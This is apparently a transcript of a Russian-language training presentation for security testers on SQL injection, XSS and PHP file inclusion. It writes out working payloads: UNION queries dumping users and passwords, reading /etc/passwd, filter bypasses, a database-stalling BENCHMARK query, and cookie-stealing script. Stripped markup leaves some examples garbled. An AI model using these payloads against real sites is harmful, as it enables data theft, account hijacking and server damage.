Тестирование защищенности. Все проще чем кажется. Игорь Бондаренко. Intetics Co.

Презентация:



Advertisements
Похожие презентации
Тестирование безопасности или Security and Access Control Testing.
Advertisements

Нарушение целостности структуры SQL-запроса. Внедрение SQL-кода (SQL injection) один из распространённых способов взлома ПО, работающего с базами данных,
Open InfoSec Days Томск, 2011 Глава 1. Атаки на веб-приложения и методы защиты.
SQL-injections for dummies. Что это? Способ несанкционированного доступа к данным, хранящимся в БД, основанный на внедрении в запрос произвольного SQL-
Open InfoSec Days Томск, 2011 Глава 1. Атаки на веб-приложения и методы защиты Занятие 3. File Inclusion.
Тамбовский государственный университет имени Г.Р. Державина Институт математики, физики и информатики Кафедра информатики и информационных технологий Иванова.
Безопасный код © Александр Швец
СУБД Microsoft Access 2003 Элементы языка SQL. Язык SQL SQL (Structured Query Language) – структурированный язык запросов Язык SQL применяется во многих.
Обнаружение уязвимостей в web- приложениях, написанных на Python, средствами динамического анализа исходных кодов Заливин Д.А. Козлов Д.Д. Петухов А.А.
Open InfoSec Days Томск, 2011 Глава 1. Атаки на веб-приложения и методы защиты Занятие 2. Cross-site request forgery.
Тема 4 Организация доступа к ресурсам портала 1. Базовая аутентификация пользователей 2. Автоматическая регистрация и аутентификация пользователей 3. Аутентификация.
PL/SQL Курсоры. Курсор – специальный элемент, связанный с SQL-оператором SELECT. Объявление курсора происходит в секции объявления базового блока. Работа.
Web. Full Path Disclosure Array[] Parameter Injection Illegal Session Injection Direct Access to files that requires preloaded library files Арыков Никита,
Администрирование и безопасность MySQL. Создание и удаление пользователей Под учетной записью пользователя MySQL подразумевается строка в таблице user.
КУРС «WEB-ДИЗАЙН». Что такое Web-страница? То, что мы видим в окне браузера, когда заходим на какой-либо сайт! Мы видим веб-страницу сайта – ее содержимое!
1 Основы SQL: MySQL Будем использовать MySQL СУБД с открытым кодом Бесплатная версия (Community Edition) – на В Linux-дистрибутивах.
Зачетная работа по теме « Основы баз данных » Выполнила ученица 11-А класса Серегина Ольга.
Ekaterina B. Egorkina,© VEELTECH.RU Построение страницы с интерактивным отчетом Простейшая страница с отображением данных в табличном виде. Построение.
Работа с БД в Zend Лекция 4 1.Модель 2.Классы Zend_Db_Table и Zend_Config 3.Запросы 4.Свойства и методы таблицы.
Практические аспекты сетевой безопасности Уязвимости в веб-приложениях Часть I: SQLi.
Транксрипт:

Тестирование защищенности. Все проще чем кажется. Игорь Бондаренко. Intetics Co.

Зачем нужно тестировать защищенность 90% сайтов опасны для пользователей и представляют угрозу бизнесу. 43% сайтов не могут хранить конфиденциальную информацию в БД. 80% Вебмастеров не обновляют opensource продукты вовремя. 99,9% сайтов, которые имеют уязвимость, имеют еще несколько уязвимостей. 48% серверов имеют уязвимости на уровне операционной системы и приложений.

SQL Injection Внедрение SQL-кода один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.

Что может получить злоумышленник

Архитектура уязвимости типа SQL Injection

Простейший способ обнаружить уязвимость Добавляем одинарную кавычку к запросу: Получаем ошибку типа: Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/mysite/www/htdocs/include/lib/news.php Или Видим ту же самую страницу что и по ссылке

Почему так происходит? query = "SELECT * FROM news WHERE id = '" + id + "'" SELECT * FROM news WHERE id = '1''

Какие еще есть способы проверки? Использование простых арифметических операций в запросе: site.com/index.php?id=2-1(Выводит страницу 1) site.com/index.php?id=1*2(Выводит страницу 2) site.com/index.php?id=1+and+1=1(Выводит страницу 1) Использование сортировки в запросе: site.com/index.php?showthread=285+ORDER+BY+1--+ Подстановка бессмысленной информации в запрос site.com/index.php?id=1 anything (Выводит сообщение об ошибке)

Как этим пользоваться? /?id=1' UNION SELECT user,password FROM users-- SELECT title,text FROM news WHERE id = '1' UNION SELECT user,password FROM users

Blind SQL injection Тестирование истинных и ложных запросов: site.com/index.php?id=2 AND 1 = 1-- site.com/index.php?id=2 AND 1=2-- Вывод информации в отчете об ошибках: site.com/index.php?id=2 OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) -- Duplicate entry '5.0.45' for key 1

Double-blind injection Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2 OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK( ,MD5(NOW()))) – Способ навредить серверу БД: site.com/index.php?id=2 AND BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))

На что еще обращать внимание? URL: re

Практика, или SQL Injection глазами злоумышленника 1.Определение типа базы данных 2.Проверка прав пользователя на запись файлов 3.Подбор количества столбцов 4.Определение вывода на экран 5.Получение информации о таблицах 6.Получение информации о колонках в требуемой таблице 7.Получение данных из таблицы и вывод на экран

Ошибки характерные для разных видов баз данных PostgreSQLAccessMS SQLInterBase\Fire bird OracleSybase Функции: pg_exec() pg_numrows() [Microsoft][ODB C Microsoft Access Driver] или Microsoft JET Database Engine error [Microsoft][ODB C SQL Server Driver] ibase_query() ibase_fetch_obj ect() ORA (И вообще всякие ORA) Sybase error sybase_query() sybase_num_ro ws()

Подбор количества столбцов 1. Простой перебор допустим у нас есть сайт с инъекцией: Выполняем такой запрос -- если появилась ошибка, то увеличиваем количество колонок на одну -- и так пока не исчезнет ошибка и появится пустая страница

2. Оператор ORDER BY ошибки нет, значит столбцов 1 или больше 1 должна появится ошибка, значит столбцов меньше 9999 Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда: (ошибки не будет) (ошибка есть)

Определение вывода Предположим мы подобрали количество столбцов и их оказалось 4 Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого подставим вместо одного из null – произвольный набор символов, в нашем случае «111»

Получаем информацию о версии и пользователе Для получения информации о текущем пользователе используется функция user() Для определения версии используется функция version()

Чтение и запись файлов Проверка возможности чтения/записи файлов: 1+union+select+null,file_priv,null,null+union+select+file_priv+from+ mysql.user+where+user= %USERNAME%'-- Чтение файла 1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--

Узнаем таблицы Для получения информации о таблицах и колонках необходимо обратиться к служебной таблице Information_schema 1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES-- Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие 1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--

Получаем информацию о колонках Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER, что требуется для получения информации о колонках: ORMATION_SCHEMA.COLUMNS-- Таким обрfзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER Изменяем немного наш запрос добавляя в него оператор WHERE: ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'-- Появится имя первой колонки в таблице user и далее добавляя LIMIT+OFFSET узнаём все колонки.

Фильтрация кавычек Чаще всего, проделав действия описанные на предыдущем слайде, вы увидите ошибку: ERROR: syntax error at or near "user" at character union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.CO LUMNS+where+TABLE_NAME=chr(117)| |chr(115)||chr(101)||chr(114)--

Фильтрация кавычек Второй способ: использование вложенного подзапроса 1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATI ON_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_ NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+ 1)--

Фильтация пробелов В случае фильтрации пробелов существуют следующий способы обхода фильтра: 1.Использование пробельных символов «/*!*/» и «/**/» SELECT * FROM news WHERE id='1'/**/UNION/**/SELECT/**/1,2,3,4,5,6/**/FROM/**/Users/**/WHERE/**/login='admi n'# или SELECT * FROM news WHERE id='1'/*!UNION*/SELECT/*!1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login='admin'*/#' 2.Использование символов табуляции: %09 – табуляция %0A – символ новой строка %0D – возврат каретки %0B – вертикальная табуляция %0C – символ новой страницы 0 9WHERE%09login='admin'#

Получение информации из таблицы Составляем запрос: 1+union+select+null,username,null,null+from+user-- Он возвратит нам в данном случае имя пользователя Можно объединять 2 и более колонки разделяя их спец символом 1+union+select+null,username||chr(58)|| ,null, null+from+user-- Мы увидим запись типа Login:

Уязвимость в скрипте авторизации Поле ввода имени пользователя: Username-- Поле ввода пароля: 123' OR login='Admin' – %

Демонстрация примеров

Программы для работы с инъекциями SQL InjectMe – плагин для Firefox Absinthe – утилита для проведения атак типа SQL Injection SQL checker – анализатор возможности внедрения SQL кода

XSS XSS (Сross Site Sсriрting «межсайтовый скриптинг») тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты.

XSS

Цель Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится на атакуемом сайте Как это сделать? Внедрить куда-нибудь фрагмент кода типа...

Классификация XSS Активный XSS – Внедренный скрипт сохраняется в системе и становится доступен для вывода другим пользователям Пассивный XSS – Скрипт передается системе в параметрах HTTP-запроса с последующим их выводом в HTML-страницу.

Чем мы рискуем? Кража Cookies var іmg = new Image(); іmg.srс = ' + document.cookie; Кража аутентификационных данных – добавление обработчика события onsubmit к существующей форме – добавление формы с просьбой ввести пароль Перенаправление пользователя на страницы злоумышленников DDOS атаки

Метод обнаружения /?id="> alert(1) HTML - код страницы примет вид.. alert(1) "... В результате браузер выполнит скрипт.

Типичный случай Самая распространенная разновидность XSS: "> alert() Вся суть в "> После добавления к форме "> alert() какой-то переменной присваивается значение поля. Переменная обрабатывается, "> закрывает скрипт и выполняет alert()

Фильтры: определяем наличие и качество В любое поле вводим проверочную строку: '';!--" =&{()} Далее открываем HTML страницы, ищем слово "XSSTEST" и смотрим на прилегающие к нему символы. Если символы остались – это первый признак наличия уязвимости Если символы,"'\ остались такими, как были введены – это второй признак уязвимости (возможно использование дополнительных символов в последующей XSS атаке) Если в HTML, вы не обнаружили - это признак отсутствия фильтрации. Если открыв HTML вы обнаружили, что заменены на другие символы – фильтр функционирует нормально.

Практика Допустим фильтр экранирует В этом случае существует вероятность обхода фильтра. К примеру, фильтр настроен на удаление, и. Для проверки используем конструкцию типа и проверяем, если фильтр не удалил запись - можно составить XSS-скрипт. К примеру вот так: ript>alert() ript>

Автозакрывающиеся скобки: >>>>

Кража Cookies До этого мы рассматривали скрипты типа: alert (' Test ') javascript:alert (' Test ')/ javascript:alert(' Test ')/1.jpg и так далее.. Теперь рассмотрим следующий скрипт: img = new Image(); img.src = " В данном виде скрипт перехватывает cookies пользователя.

Как воспользоваться этим скриптом? 1. img=new Image();img.src=" При этом файл js.js содержит: img=new Image();img.src=" этот способ более надёжен.

Изменение кодировки Изначально скрипт выглядел так: После: %68%74%74%70%3A%2F%2F%63%69%74%65%2E%63%6F%6D%2F%74%6 5%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%7 2%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%6E%65%7 4%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%7 3%63%72%69%70%74%3E%0A

DDoS-атака XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста много запросов, которые не выдерживает атакуемый сервер. Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

Демонстрация примеров

Инструменты для обнаружения XSS XSSme – аддон для Firfox DOMinator – анализатор наличия DOM-based XSS

PHP Injection PHP Injection или создание веб шеллов – это второй по популярности после SQL инъекции тип уязвимостей.

Уязвимые функции Eval() Include() Require() Create_function() Preg_replace()

Виды инклудов Возможен Remote File Inclusion (RFI) Возможен Local File Inclusion (LFI) с использованием нулл байта Возможен RFI при условии создания структуры /folder/page.php на удаленном сервере

Метод определения уязвимости index.php?page=shop Подставим dsdsds вместо shop: Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3 Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3 Warning: main(): Failed opening 'dsdsds.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3

Веб шелл Это происходит потому, что код страницы имеет такой элемент Как этим воспользоваться? index.php?page= Получаем веб шелл, который дает возможность исполнять любые php команды

Выход за пределы текущего каталога Apache TomcatApache Tomcat 5 версии ниже и Apache Tomcat 6 ниже подвержен уязвимости поволяющей перейти к содержимому вышестоящей директории путем указания в пути конструкции "../".

Инструменты для обнаружения Graudit - семантически-статический анализатор кода RIPS – утилита для поискам уязвимостей в PHP коде

Демонстрация примеров

Вопросы? Skype: igor.bondarenko1